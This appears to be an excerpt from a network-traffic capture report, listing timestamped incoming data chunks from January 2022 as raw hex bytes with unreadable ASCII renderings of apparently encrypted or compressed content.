a5 c9 bb f1 55 45 d2 e4 8a 56 1d af cc 52 1d df b9 44 62 6e ef 32 b1 cf 44 8a de 57 c0 b5 55 51 da e7 1b 42 e6 b1 29 64 
b6 7f 4c ec 59 02 e8 80 c4 ca 28 77 40 cc 1d 25 7a 
Data Ascii: og:Qwg=Ea_ksGAFDaV!QMzUGa6a7i,2qJ1Fw&|5,G%r.;"Z!a^p8m9^dM6n$=I/7`sUEVRDbn2DWUQ
B)dLY(w@%z

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1491 IN Data Raw: 2e 2a 30 2c 57 26 cd 60 7a 35 d5 8a 79 72 02 78 8e e1 54 f4 07 19 8d 85 01 5a 93 76 dc 97 8b 90 9c 41 75 5a 
a3 61 a9 90 9f 94 bc 32 4c d5 4b 05 75 d8 10 48 5a 99 7a e8 37 97 e4 5e 37 56 76 dc 45 aa 61 87 fb a2 81 ff 87 17 1f b4 
91 06 ea 1d a3 66 c4 82 15 99 6d 2c 5a b1 18 d1 87 d2 e8 02 8f c7 44 89 69 ae 57 33 b2 2b 13 51 bf b7 52 3a 26 22 29 60 
b3 51 4b cf 4d f1 05 1f a9 f7 7e bf 24 ed 16 35 b8 bc 51 44 c6 4d 7c d3 c8 74 50 05 c1 10 90 0e 52 14 90 5b 87 29 ad cd f8 
08 2b 21 0c 88 0c 72 af 28 c5 d9 20 ec bb 03 b2 af 93 88 09 1a b1 86 28 2e 9d 93 fc 88 60 25 48 6c 85 19 b7 9b e9 a1 67 
15 ca cd fb 65 6e bf ca b5 4f 49 43 ca cd e7 dc a4 bb 97 0c 39 0b ca 10 b1 45 ca 43 d2 ab e1 9f dd 0c ff 4f d2 82 01 a7 da 
4d 66 a9 0b 53 55 60 c7 86 bf a8 43 ef 2a 79 1d a3 
Data Ascii: .*0,W&`z5yrxTZvAuZa2LKuHZz7^7VvEafm,ZDiW3+QR:&")`QKM~$5QDM|tPR[)+!r( (.`%HlgenOIC9ECOMfS
U`C*y

2022-01-13 21:05:25 UTC 1492 IN Data Raw: 86 b8 01 59 24 2b 13 31 69 32 f3 06 e9 69 4d 55 39 50 3d bb 7d 85 d2 38 aa d7 ca 7a 61 0d 55 25 66 55 63 27 
16 75 1d 45 e8 96 da fb 20 e0 93 da fb 38 e3 dd 2b 31 87 aa 17 6c 7c c2 f3 65 13 38 d8 4e 9f 66 3a 92 b3 12 78 92 c5 93 
38 ad 0e a6 48 e4 64 94 38 0b 43 9f a7 ae 4b 65 05 f6 af 6c 79 10 69 27 e2 1f 92 67 51 e2 00 ea 4c 6f b9 b0 f7 64 03 45 
52 c7 ee a5 fa 17 30 4b 48 fa 87 bb 91 1c 18 aa 51 44 74 cb fa 54 5d eb 80 89 9b af 12 8f 6e 4f cb 48 68 f7 d2 1b ef d9 66 
ad 42 fb 6e b4 1d 92 a5 4b 5a ff c1 e6 3a ee c4 3b f0 5b b2 03 a7 e3 24 96 23 47 98 d5 87 87 b2 0f 65 b5 de e9 3f a3 0f 38 
cb b4 4e f8 76 15 9d 6f 4d 1d ef bf ed fb 82 e6 39 4f ac ec f7 ac 71 7c 19 43 1e 43 68 7d b8 b0 6e ef 04 fc 63 5a c5 23 aa 
42 9f 5e 89 13 e8 88 fb f2 a0 d1 ed 0d 08 ba 01 
Data Ascii: Y$+1i2iMU9P=}8zaU%fUc'uE 8+1l|e8Nf:x8Hd8CKelyi'gQLodER0KHQDtT]nOHhfBnKZ:;[$#Ge?8NvoM9Oq|
CCh}ncZ#B^

2022-01-13 21:05:25 UTC 1493 IN Data Raw: 3c 3c ce 9b c6 8b 5c 94 cd e4 5a aa a1 06 dc 4a 61 25 af b0 6b 19 16 a7 a9 7f f1 9d 70 fa 8d 11 d2 52 39 ad 5a 
44 5d 45 3d f4 95 3d 6a b7 fd db 60 c1 bf 43 41 33 63 e3 e8 4c dc 5c d7 9f 6e 4b d7 4f 99 5c 2e 0f 30 3c 29 57 e5 72 db bf 
f5 20 6b 72 7b e2 11 47 c1 26 fa b4 72 80 7d 78 76 11 d9 94 db dc 4a b6 d9 40 6c 51 07 ea 6f c1 21 aa 66 e2 11 15 01 d0 
04 1c 65 0b 8e 19 54 ef 34 10 64 03 9d 6d c8 d9 46 41 b6 9b bb 26 25 c5 50 62 c1 f8 84 bd 72 af f6 1a 5a 8a 17 6a 41 e3 
1a ad 9d c9 15 3a 54 b0 97 01 af 55 96 44 4a c2 7f d8 0a 24 23 81 4b ff 81 b3 db 1c 07 ad 5e e6 77 33 1d 43 0d fb a1 3f 
0a 03 a0 7f a6 4b 48 96 51 99 de e6 e5 6a ba bf 56 9b 72 fb 1a 3e 75 ae 59 9d 34 86 45 3a e2 bb ae 69 c3 79 7d 1f 29 cf 
77 5c d8 93 48 99 0d 56 07 26 8e ee 6c 27 4c 47 3d 
Data Ascii: <<\ZJa%kpR9ZD]E==j`CA3cL\nKO\.0<)Wr kr{G&r}xvJ@lQo!feT4dmFA&%PbrZjA:TUDJ$#K^w3C?KHQjVr>u
Y4E:iy})w\HV&l'LG=

2022-01-13 21:05:25 UTC 1494 IN Data Raw: 69 4b 20 61 9b c2 06 4d d2 8c 89 e7 36 de f1 03 39 a3 c6 03 c6 67 4e da b9 c0 91 e8 9a e7 a1 81 c1 6b d4 b8 
e1 38 08 b8 05 d4 e2 2e 24 13 1f 42 e3 db 77 14 43 6a 8c 07 59 ac 15 3a cf d8 25 d0 65 31 62 2e 96 fd 64 fa 28 a8 c7 f7 
ec 7a 62 bf 16 54 7c fe 73 a8 28 54 b1 87 01 2f d7 68 d7 4e b6 80 6f d7 29 db 15 22 24 d0 a4 d2 04 32 a1 9f df de 95 13 
cc 6c 68 30 b3 9a eb d4 cc 6c e8 28 7e 93 fb 37 d4 c8 a7 21 30 23 21 ce 5d 04 27 7a c2 07 59 af e5 4d 57 d5 81 fa 09 85 
ee 5f 58 db 17 56 d6 3f 3b b9 1e a3 99 2b 0a 10 14 d5 fd c5 23 ee 03 17 6c b8 03 94 01 c1 06 08 4d 93 03 33 cf 00 04 3e 
59 1a 91 6b d1 62 1e 75 29 c4 b7 5d ea 71 24 6c 37 af 13 42 35 35 4b e6 18 00 16 16 29 c4 f6 44 90 46 cf eb 09 14 da 4a 
18 9d d2 34 b4 01 ea 85 1a 6b ee c7 44 34 1d bc f2 f5 1f 
Data Ascii: iK aM69gNk8.$BwCjY:%e1b.d(zbT|s(T/hNo)"$2lh0l(~7!0#!]'zYMW_XV?;+#lM3>Ykbu)]q$l7B55K)DFJ4kD4

2022-01-13 21:05:25 UTC 1496 IN Data Raw: 85 7b 72 1f 21 5f da 53 56 6c ed a6 29 43 d2 0d 4e ad 8c e4 e7 5f e3 32 25 ad c1 ee c4 8c a1 08 ae a2 81 7f bb 
b8 17 b0 19 94 a9 2d 28 dc 64 e7 b9 b2 e7 10 4a 39 21 59 22 9d 67 d4 d6 6e c2 76 31 80 7d dc 77 a1 2f 29 14 ef fd bb 61 
3b 87 f6 40 ae be 1b 8f 5f 1c c5 ed ef b4 4a 50 db f5 c2 b6 92 29 f9 bd 76 9b 1d 9d 0c a5 90 88 ab b7 8d 20 61 7d f7 15 4f 
8f 38 d6 62 16 cb 47 11 cc 16 57 41 cb 96 aa ae 75 84 93 4e a5 92 89 94 7a 97 91 f9 57 cc bc e9 1a 71 b5 92 c6 4b bc 9b 
dd dc 1e ca 8c dc dc 43 13 dd 0c 12 ca d8 b1 92 02 b1 2a bb 34 ea 93 f7 85 04 82 80 32 5c 12 d5 9d 24 a3 d2 61 99 8c 4a 
87 e7 e9 af 72 a5 29 4c b9 9e fd 2a 57 8a fa 61 6a 40 b6 ee 93 52 77 e3 86 7d 8f 70 78 3e 28 0b 65 be 3d de 30 57 f4 f1 
b5 71 d3 76 72 ad 68 23 c2 cd 20 53 23 99 78 c4 89 
Data Ascii: {r!_SVl)CN_2%-(dJ9!Y"gnv1}w/)a;@_JP)v a}O8bGWAuNzWqKC*42\$aJr)L*Waj@Rw}px>(e=0Wqvrh# S#x

2022-01-13 21:05:25 UTC 1497 IN Data Raw: 94 5a 17 d9 3e 22 9c 64 45 c3 00 44 b1 cb 58 0d a7 4e 7a 8d 13 df b9 3a 43 93 9c c0 9e 60 0f 76 94 3d 06 a9 
0b 3e 9c 13 8e b6 be 1f 1d 9f b3 ba be 18 24 c9 21 42 09 c8 3d ba e4 96 13 a1 20 e0 b7 56 09 56 0a 4c 04 02 e2 de a3 ed 
a2 e5 39 03 cc 6c fa 4a f2 c3 80 2a de 2c ae 2e 67 a5 61 c0 7d 6e 50 ff ad 44 4f fd 4f 9c c6 73 1e 31 22 22 55 40 45 f0 c3 
7a d6 56 37 14 97 15 72 ad f5 d8 45 85 5b 56 15 75 5b f3 f3 3e 3b d3 7a ac c3 34 d1 2d 98 a5 74 1a 2b 0f ef 40 c3 8d e9 
32 e1 23 7b 08 c3 ea 93 4a c6 4f 56 16 5d 5b 2b da 78 c5 ae de d0 37 0f cc 4c 55 6a 9a c2 44 bc 57 0c 64 83 61 ca 50 f0 
ca a9 9d d1 0f fb 83 03 bf d2 11 87 f0 b3 5a 45 73 ef c6 82 2e a5 d1 ff 83 33 45 20 e1 09 56 56 16 f3 f8 7e 31 f0 99 26 d4 
bb 31 84 ec c1 3f 38 43 2c 02 d5 9f ae 54 19 57 ef 
Data Ascii: Z>"dEDXNz:C`v=>$!B= VVL9lJ*,.ga}nPDOOs1""U@EzV7rE[Vu[>;z4-t+@2#{JOV][+x7LUjDWdaPZEs.3E V
V~1&1?8C,TW

2022-01-13 21:05:25 UTC 1498 IN Data Raw: 08 18 b9 33 28 0f 86 ac 86 8f 82 a8 1c c2 a3 28 9e 20 1d cc 8f bd 6d 78 2c 8b 4d 7c ac 88 17 48 00 e3 f8 08 25 
c0 38 8e f1 01 23 80 8f 4f 62 17 a2 c0 38 6e e1 a3 20 be 41 09 38 1e f8 28 88 43 7c 14 45 05 4a 87 f1 18 ef c2 03 9a 89 0f 
68 26 34 05 06 e2 09 da 00 03 d1 c3 b7 75 51 ff 06 8f 4f a2 06 59 af 14 78 f1 bc de 24 08 32 06 9b 8f 1f e6 d3 60 f3 69 9e 
0b e2 28 f3 c7 6e d7 6d 44 c7 de a1 3a f6 ae 15 78 97 84 f3 bd 56 40 5f 0d e7 e5 86 8f 80 6b f1 f7 f2 1e cf c4 3e 1f 47 57 
6d a1 c6 93 66 e1 8b d2 4d 30 00 4b f6 1c 2d d6 88 23 1b cb 43 59 9d 70 2f be f5 78 11 03 c9 aa 4b 07 22 0d 21 21 04 b4 
0a d9 99 89 fb dc 56 08 03 1a d0 3a 76 68 de 1b a5 6d d3 a7 46 55 42 97 d3 db d7 73 8d 7a ec 6b d0 eb 40 91 15 0a 52 
3a 86 df cd 58 bc 7f f0 d5 a5 b6 ab 92 fd 47 22 
Data Ascii: 3(( mx,M|H%8#Ob8n A8(C|EJh&4uQOYx$2`i(nmD:xV@_k>GWmfM0K-#CYp/xK"!!V:vhmFUBszk@R:XG"

2022-01-13 21:05:25 UTC 1500 IN Data Raw: 00 99 58 d1 30 d8 31 38 2e ba 2c ef 06 b8 7c e8 14 66 5d 77 9a 7e 64 f8 19 38 f9 72 a0 75 20 ca c1 c2 82 cd 
33 ef 36 b8 03 42 20 24 c3 03 5b 24 40 25 5c 27 5b 1b 46 0a 34 44 02 45 f3 0c 11 f7 99 18 0c a9 a9 4c 0f 4e 57 43 e9 76 
c0 ff ad 33 bc 3b 17 1a ce 19 f6 83 1a 21 f8 63 4a 94 6a ab 46 a1 22 c4 30 4c cd 6f ce 8d c1 77 25 28 cc 04 fc 18 0c f8 ce 
d4 80 6f ce 26 be e8 5c 1a 92 ee bf d2 cf 48 99 9f e9 13 dc bd 46 5c 7f 3e 19 5d 3c 74 13 35 9b 46 56 8d 8d b3 d6 e9 64 
55 57 12 fd fe 0e 24 ec 82 ab 50 8f 67 c0 ef c3 79 f5 8f e0 5b 23 b0 7e 76 bd 2c 65 92 6f 37 a9 88 9e 09 46 26 4e 5a 68 3c 
d0 69 b2 b6 92 46 6f d5 2e e6 e7 6b 17 b9 fb 0d 6f 64 e1 d3 2e c1 0f b2 f0 24 f5 aa 6d 41 60 5b 01 8a 56 9b 65 05 06 4f 6b 
ec b4 bd d1 ae 92 44 b5 44 4f b6 12 e5 83 ea 9e 
Data Ascii: X018.,|f]w~d8ru 36B $[$@%\'[F4DELNWCv3;!cJjF"0Low%(o&\HF\>]<t5FVdUW$Pgy[#~v,eo7F&NZh<iFo
.kod.$mA`[VeOkDDO

2022-01-13 21:05:25 UTC 1501 IN Data Raw: 6b bc 6c 70 ce a9 6d e3 e3 db 4b 09 44 c6 04 67 ee 6f bf 7b ef 0a 2a 05 30 fd 3c 33 ef 39 77 f5 8c 0b 49 55 a5 
52 85 9d c3 1d 9e 5a e4 df 88 b7 18 8e 6b b5 86 83 32 5d 95 e3 07 38 8f de b3 46 7f a8 a4 8a 88 5c 7b 37 69 11 b4 b5 96 
f9 57 5f 2f 33 9e a1 f7 ad 46 8c 7f e9 73 98 8d 54 b2 0c 61 8e 69 1b a4 0c cd 9e 65 ce 2c 85 54 62 76 0d 1e 12 a1 7a 9b 
51 d9 10 3e 11 ba f1 06 7f 04 0d 26 43 34 bd ac 22 83 41 c2 cd 2a 99 01 2e f2 d8 7c 28 35 e1 e2 9c ee 05 8a 56 31 d6 2a 
aa b3 9e d0 c4 d5 e1 a6 81 d2 6c c2 22 7b 65 47 d9 2b 63 5a 2e 27 c3 02 b7 06 4a cb 65 f3 dc a4 c8 10 75 b9 59 1c fc 1a 
dc f0 5f 80 2c cd 97 f3 f4 33 8e 08 b3 87 d5 e1 21 3f 1d d8 1f de 4b bb 94 5e 2d b3 e1 9a ed 73 b4 bf c0 0b 03 d9 aa 67 8b 
a5 31 2a c3 23 3c f4 f0 a1 07 0f e1 c2 c0 b3 f0 68 
Data Ascii: klpmKDgo{*0<39wIURZk2]8F\{7iW_/3FsTaie,TbvzQ>&C4"A*.|(5V1*l"{eG+cZ.'JeuY_,3!?K^-sg1*#<h

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1502 IN Data Raw: 88 0b ce aa 0b 78 75 d0 69 74 91 77 13 71 f4 1a c3 85 36 85 3d 00 6c 8b 26 ee c5 24 13 f7 66 f6 a6 43 86 4f 33
5e b9 60 eb 19 97 87 00 3d 1a 00 50 a8 6f 8c bd 20 bf 8d 23 58 be 76 4b b0 5a 3c 30 54 ea 0f 14 b3 a7 c5 5e bd 14 d3 30 
1a 34 ea 80 a9 b1 ef d7 05 fd 8d 4c cc 0a 7e 60 ea 5b 9a 4f 2a 86 89 13 8e 5a c3 0c 8a ed f9 4b 0a b9 e5 15 a0 21 84 bc 
91 bf cd a2 a4 34 2a c4 d5 68 aa c4 b5 87 a6 74 8e 35 4a cf c0 39 64 c6 81 36 1e 3c 98 7c 85 e3 c7 e3 b1 18 9d 54 06 c3 
f0 a4 c6 91 8c 2a f8 20 4b 09 c9 a8 03 6c f6 f3 2e 4d 39 1c 44 ee be d8 ca 24 67 8d f8 4f 72 e0 89 51 5f 86 37 20 49 10 24 
9d f4 97 8c 98 a2 a4 ed 18 16 4e f2 38 a2 83 6d 11 09 42 ec 03 91 9e 2b b4 5b c4 aa 8a e6 02 b3 e4 f3 05 96 3a b8 24 df 
10 b1 53 c4 eb e1 d8 03 d4 a2 5d 33 21 a1 e0 d3 d4 
Data Ascii: xuitwq6=l&$fCO3^`=Po #XvKZ<0T^04L~`[O*ZK!4*ht5J9d6<|T* Kl.M9D$gOrQ_7 I$N8mB+[:$S]3!

2022-01-13 21:05:25 UTC 1503 IN Data Raw: b3 ee 04 0f 2b e2 61 65 ec b4 70 68 ea c1 38 e8 39 b8 d9 91 37 f5 2e 7a e2 e6 49 af 31 f4 2e c7 fd fe 80 53 ca 
41 8d 3d 51 63 af 51 f7 fb d6 70 b8 43 7c 47 f0 7c 47 3c 3f 6e a0 2c 29 34 8c 5d f1 e8 0a 4d 80 a0 ff ee 28 f1 0d c7 58 cd 
6d 0c d1 30 e8 c6 6f 8c 3c 24 94 42 43 07 66 25 83 06 a2 a3 cd e1 a5 33 f0 bc 2e c6 df 0d 1e 37 31 9a 45 26 ba 62 de e3 
d8 6a 0f 93 48 15 6c 04 18 c0 da 58 cc 19 82 5f 87 df 79 43 6c 46 a4 88 ca 32 54 3d 5d c9 c0 f5 63 ba 1a 8b ab 0e 5d 75 
c4 55 8f ae 7a e2 6a 8f ae f6 c4 d5 0e 5d ed 88 ab 5d ba da 15 57 c7 74 75 2c ae 7c ba f2 c5 15 8d 0c c3 27 8b dd 6a f2 
7c a6 62 c3 e2 55 53 5c 1d e0 c5 c1 a4 54 8d 38 88 a9 4d 37 c5 47 ac ce c1 c3 1f a1 10 0f a2 7f 69 00 5a 31 c5 c4 2c e6 
e4 c9 94 8f da d2 bb 52 0c 42 7c bb f8 68 f1 7d 62 
Data Ascii: +aeph897.zI1.SA=QcQpC|G|G<?n,)4]M(Xm0o<$BCf%3.71E&bjHlX_yClF2T=]c]uUzj]]Wtu,|'j|bUS\T8M7
GiZ1,RB|h}b

2022-01-13 21:05:25 UTC 1505 IN Data Raw: 9d 25 33 85 3a 0f ba 8b 5a 2f cc 40 5f a7 b0 20 cd 10 60 0f bd ac 19 e0 af 3a e1 45 2b fb 3a ce 84 6f 12 3a bc 
7a 0a df ad d0 dd cd 48 dd 6d ba eb f4 32 f4 57 22 cc 03 2b 25 5f 8b 11 d3 30 2c 1b c7 8a ed 30 56 7c 9d 01 80 ae 9e 62 
54 2f f4 7c 48 c0 a3 05 e3 d0 9f e2 1d a7 17 ab df d6 a7 21 10 af 8b 95 d3 ad 51 eb 08 a5 33 41 10 5c d1 5c 7e 29 43 d9 
3a 87 9f 5e 4f 98 7f 79 bd 34 8d c4 8b bf 17 c6 79 c4 d1 34 b9 83 c5 e9 21 a8 70 82 b1 12 6d ee 87 53 6b f7 00 c9 2d ff 69 
67 fe 5a c6 58 6c 32 8e b2 4f 8b d9 e1 36 2b 7c 66 8f 39 29 d2 23 a7 b7 31 7b b7 01 12 4e 64 be bc 6e 98 6a 7f 79 4a 08 
18 09 78 f1 b9 d1 75 7b cf 12 0a c8 48 91 75 0c 0a 85 ea 73 f1 a1 6d 38 0d ba 1a ad 69 02 eb cd 6b ca 2e e0 b5 5b e9 6e 
95 bd 3c c1 d4 4d 3f 2c f0 a8 62 87 8f 86 22 4a d2 
Data Ascii: %3:Z/@_ `:E+:o:zHm2W"+%_0,0V|bT/|H!Q3A\\~)C:^Oy4y4!pmSk-igZXl2O6+|f9)#1{NdnjyJxu{Husm8ik.
[n<M?,b"J

2022-01-13 21:05:25 UTC 1506 IN Data Raw: 2e b1 e6 b6 b1 c4 8e 5f 8c fc 32 7b aa 60 d4 8d 71 c5 58 66 47 9b 46 7e 95 9d 6e 1a 2b 6c 6f d3 58 65 8d 3d 
63 8d f9 18 05 99 9d 6c 1a eb ec 12 1a e4 d8 29 fc cd b3 33 f8 0b dd bf 18 18 8e 1a fe ae b2 2b f8 bb c6 9e e0 d5 6b 6c 0c 
7f d7 59 0d 43 6a 33 1f fe e6 59 1d 83 54 b3 06 fc 2d b2 4b 18 d4 12 db 7c 33 0a eb ec 0d e3 30 b3 c7 1d 0a e1 dd e3 21 
bc fb 3b 14 c2 db dd a7 10 de 36 16 4b cc c1 62 99 75 b1 58 61 6d 2c 56 59 07 8b 35 b6 83 c5 3a ab 40 01 03 dc c6 22 cf 
8e 5f 0d 34 dd dd c3 a2 c8 f6 b1 58 62 8d 0a c5 03 6f 57 28 10 78 a7 42 81 c0 9b 15 0a 04 de ad 50 20 f0 56 85 02 81 ef f2
c0 d4 3b 2f 14 98 7a bc 45 81 a9 47 5b 14 5f fa 70 8f e2 4b 1f ec 51 7c 69 bf 42 f1 a5 eb 15 0a 2c fd f3 85 02 4b 5f bf 50 60
e9 eb 1d 0a 2c 7d b5 43 81 a5 9d 1d 0a 2c 6d 
Data Ascii: ._2{`qXfGF~n+loXe=cl)3+klYCj3YT-K|30!;6KbuXam,VY5:@"_4XboW(xBP V;/zEG[_pKQ|iB,K_P`,}C,m

2022-01-13 21:05:25 UTC 1507 IN Data Raw: 6b 38 b2 3a 7d ba 3e a2 30 50 0d 57 10 4b 5b d5 70 ca 02 ab 6b b5 5f 47 0d 07 b8 22 6b d0 1a 78 4e 6f e0 66 
8f e1 e7 05 fd 44 7d 17 2b 7f 2e 4d d3 b4 61 71 25 55 cc b7 44 c8 8b 54 54 79 8a 99 7a 25 05 78 a3 74 99 44 5a 2d b3 1c 
16 02 70 5f 92 c8 58 02 66 b7 9b be 7f 90 de 5f 7d e9 6f 27 73 e8 64 c8 fc da 51 fc b0 cb f9 e1 e0 56 c6 4a bb 82 15 56 be 
1d dc 77 85 c2 32 c2 eb 0f c3 f9 a4 e5 8b 31 f8 35 73 80 d7 74 7e 28 e1 8c 8c 72 f3 ed 9b 93 b1 ef 9d ef b9 07 53 3d bb 77 
84 ad c9 d9 48 17 ec dc 73 e1 91 f6 05 36 e9 62 be b4 a0 e2 d4 6f 86 57 bb 66 be e4 26 bd da cd 38 f7 ee f7 bc fe 6a f7 a1 
64 05 52 2a 6b 83 14 16 86 85 d1 c2 30 c0 13 0f 88 3a 6b 92 2a 82 1f 46 5b 30 31 5d 4c ed 37 c3 62 07 4d 03 b3 6d 91 54 
a6 f9 cf 4e d7 dd 5c d3 d5 82 7a ff bf 9a ad dc 
Data Ascii: k8:}>0PWK[pk_G"kxNofD}+.Maq%UDTTyz%xtDZ-p_Xf_}o'sdQVJVw215st~(rS=wHs6boWf&8jdR*k0:k*F[01
]L7bMmTN\z

2022-01-13 21:05:25 UTC 1508 IN Data Raw: e6 ff ca e7 a4 95 35 9d cf 77 dc 1f c0 8d 9c 3a 68 a2 86 8d 5b 91 ee 78 1e 82 44 eb 12 05 bf 51 51 83 e7 91 d1 
4e 97 3a 9f 4d 95 05 e9 22 f9 18 5f 52 38 ed 29 16 17 f7 36 6c 61 8d c5 83 a5 c6 78 5e 38 5e f2 84 9e b0 eb f8 ca 58 d9 
5d 9e 6a a8 7a 41 58 d6 a6 5c e8 e1 cd 97 60 da b2 1b a7 98 35 60 83 aa ad d2 d5 74 03 52 c2 d0 bf 22 53 fe 33 6a 57 9d 
9c 28 d9 eb 34 46 40 96 00 bc e9 75 1b a3 de 40 4b 9d bc 3d 84 da d6 c8 3b e6 4f 52 ec 1d 81 83 01 fd 38 c0 a1 6e ca 60 
f1 97 5e d7 55 6d 52 cc b1 8d fb 14 da cf 2e 5c 36 e0 b4 2f 94 31 63 c6 25 9a 0c a5 30 0e e6 e3 98 a2 ff 60 a3 05 d5 6a 
21 dd b2 fb c3 0c 54 50 bd 4e a9 f1 30 51 a8 41 f1 09 d2 0f ae 87 26 90 78 e0 ad 5f ec 67 15 03 5a ff d2 e6 ec 36 39 0c 0c 
00 dc fb dc 03 cb 17 96 80 cb 34 35 b5 a8 f3 57 1e 
Data Ascii: 5w:h[xDQQN:M"_R8)6lax^8^X]jzAX\`5`tR"S3jW(4F@u@K=;OR8n`^UmR.\6/1c%0`j!TPN0QA&x_gZ6945W

2022-01-13 21:05:25 UTC 1510 IN Data Raw: cd 63 d8 4d f1 2c b8 4b f9 9b 9a 26 50 c7 62 ac 5f bf 6a 7d 17 a9 3a e6 c2 f4 b1 ef ba ba 21 c8 16 d9 4b 11 fb 
16 cf 82 bb 4b d8 b7 0f 7d 7f f2 35 6c ea a8 58 b8 cf 2f 5a a7 a1 08 80 bd ec 38 69 e1 30 31 28 4a 15 f6 30 16 b1 5e bf a2 
9c fc a7 07 1c a4 f6 c0 62 03 1d 16 6a 7b 2c e3 02 1c 27 ef 16 72 5c 82 ad 1a 6a b4 13 8a e6 12 0e 16 d0 96 8e 97 ca ea 
38 4e ce ec 29 72 66 cc fd f6 15 29 57 8f 82 5f 64 63 3f 31 7c 6c fc 63 20 db 42 a8 3a 10 19 12 b2 5b 8d d1 c5 54 a6 f3 d8 
7a 21 18 7c e1 39 4f 50 71 00 15 3f 01 ea d0 62 41 80 6d 68 b3 20 1b 69 54 e2 6d 70 84 5f 2f e4 4c 85 48 47 21 9f c2 39 
6b 70 20 dd 32 1b bf 42 72 94 98 60 44 ac 42 aa ed 9c 2c 03 51 14 7b 99 af 82 b6 d0 6b ef 54 60 8d 2f ad 99 40 3f c8 33 
42 89 21 a2 61 66 55 72 b9 ed 1d f8 fd f1 f1 84 
Data Ascii: cM,K&Pb_j}:!KK}5lX/Z8i01(J0^bj{,'r\j8N)rf)W_dc?1|lc B:[Tz!|9OPq?bAmh iTmp_/LHG!9kp 2Br`DB,Q{kT`/@?
3B!afUr

2022-01-13 21:05:25 UTC 1511 IN Data Raw: a2 af a6 9e 0f 21 db 66 32 aa 5f e9 b2 2a 75 0a 04 35 2f d4 a5 82 42 35 6d 2f 02 04 ba 46 26 a3 fe 02 90 e9 aa 
83 50 e9 05 58 8d 8b b6 51 67 8d 17 21 4a 46 f8 d4 9d 83 a8 ba e6 0c 42 fd 85 78 c7 ab 0e c3 88 9d f6 0b c3 60 db 17 6d 
9a bc c6 0b da c5 2c 3a 8a e0 2a 2e ad 65 0c a4 b6 9c 80 e0 2a 2e ad 67 d0 6c 64 d1 0b aa 2d e7 a0 1a dc f3 b4 6a cb f9 
4c 09 d5 54 96 aa 06 4d a1 1a dc b3 82 6a 4b 45 d4 14 76 e7 80 af 57 7c fc 17 6d 89 bf f1 93 22 91 2e 7c 0c c7 d5 9d 07 
26 ea d3 2c a0 63 ef 5f e2 29 0e e8 f1 d6 18 53 95 5f 36 de e6 90 6e 44 5b fc 1e 4c e2 ad 17 78 f3 05 6c 3f 4d 10 8d 20 a3 
27 40 46 ef 3f 07 19 ca 03 19 8e ab c3 8f ab a3 83 0c 77 c3 21 90 e1 2a b9 af 4b 20 c3 41 90 e1 04 20 c3 d5 5c ed 7f 17 
64 4c 1b 03 82 09 c7 54 af 29 49 f9 32 f7 57 96 87 
Data Ascii: !f2_*u5/B5m/F&PXQg!JFBx`m,:*.e*.gld-jLTMjKEvW|m".|&,c_)S_6nD[Lxl?M '@F?w!*K A \dLT)I2W

2022-01-13 21:05:25 UTC 1512 IN Data Raw: 4f 1c 09 e8 33 9a 69 72 0a e0 06 8d c5 25 37 12 74 c1 84 b4 5f 18 b0 af e5 b4 18 fb 11 3b 75 1b 05 ea e3 5f e8 
f3 16 54 51 20 ec 36 1d c8 c8 eb 00 15 04 2e b4 51 46 ee a0 01 f9 62 1e 25 e5 f0 f7 19 7f 4f 26 8e 39 fe 75 cf bf ed 01 5e 
fd 03 ae 6c fc 21 cc ad 03 55 33 3a b6 4b b8 a2 4c d6 89 bb 98 fe 46 17 df e8 90 c9 3a be af 08 8d 2c e0 00 46 73 80 1a 
de 8d b0 5f a7 e3 0f c8 1e d9 ac 67 9b d2 d4 a1 31 bb 5c 0b 72 f0 93 76 ed 4b c5 55 20 c6 53 e5 93 f1 b0 63 d3 a3 c0 e6 
7d a9 88 33 6b 05 6a fb e2 5a 3e 63 00 88 d2 cc 3a 46 73 c0 a5 44 c5 01 3a 37 c6 14 f3 ca 2e be 4d 76 f1 a3 b9 74 00 75 
01 88 9e 48 07 30 fe 65 a6 9f 02 d1 7e a0 03 28 a2 b4 1e 9e f0 4f 35 ef 8b 21 a1 ff 93 50 bf 3f ff 16 34 4b f2 a4 0f e0 95 af 
e0 15 d6 1a 25 40 27 19 be b5 3e d3 52 5e 83 
Data Ascii: O3ir%7t_;u_TQ 6.QFb%O&9u^l!U3:KLF:,Fs_g1\rvKU Sc}3kjZ>c:FsD:7.MvtuH0e~(O5!P?4K%@'>R^
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2022-01-13 21:05:25 UTC 1514 IN Data Raw: 2b 67 29 ee 43 b7 60 49 2f 3a 2a 8a 06 3c bd 2a 6b 4f 5d af 66 8d db 23 bc 7f dd 6d 75 7b cf dd d4 24 e0 93 88 
69 ad 08 36 ae 32 97 44 7b 79 19 c5 c9 92 89 e7 79 0b 01 37 da 98 33 c4 69 8f 5d 6f 08 b8 7c c3 36 30 4e 82 58 8a a3 f4 
39 34 3c af b0 35 06 b0 60 49 c1 22 31 8f 86 cd fa 62 06 68 1f 56 66 a0 6b 31 27 56 56 b6 50 53 23 65 2f c5 d5 d5 b5 88 
83 a1 98 1a ad c6 6a 26 fa 1e 3d 44 89 8a 32 f2 47 12 5c da c7 9c 32 36 d0 8a a5 fb d4 88 b6 40 ca ab d5 70 27 3d 79 7c 
4b a4 00 62 75 db 8d 6e 8b 28 2f 75 05 3f 07 a3 51 ea 61 56 34 3c fb de 79 30 31 d1 8f dc 9b 70 fd f1 91 1a cb a5 53 87 
d8 9e 30 98 73 b3 ec a4 df 4f 0e 0c 20 45 0f 8c 3c 3b 3b c0 70 f2 07 46 91 ed 1e 18 4b ec e0 c0 58 66 87 07 c6 0a 3b 3a 
30 56 d9 f1 81 b1 c6 f6 0e 28 3e 3c fc cd 4f 32 6c 9b 
Data Ascii: +g)C`I/:*<*kO]f#mu{$i62D{yy73i]o|60NX94<5`I"1bhVfk1'VVPS#e/j&=D2G\26@p'=y|Kbun(/u?QaV4<y01pS0sO 
E<;;pFKXf;:0V(><O2l

2022-01-13 21:05:25 UTC 1515 IN Data Raw: f3 39 20 9c e9 0e ff 50 a4 9b 35 80 71 29 00 c6 d5 bf 0d 30 3a de 65 df 72 1a dd fa bc 00 43 35 98 43 bb 4c d5 
17 44 fd 88 b1 63 2f 80 1a ed a9 81 96 ae 38 10 b9 fa 3c fe 42 14 71 8f cd ef d2 96 29 eb b4 3d 6b 90 0e bd 37 89 a3 be fa 
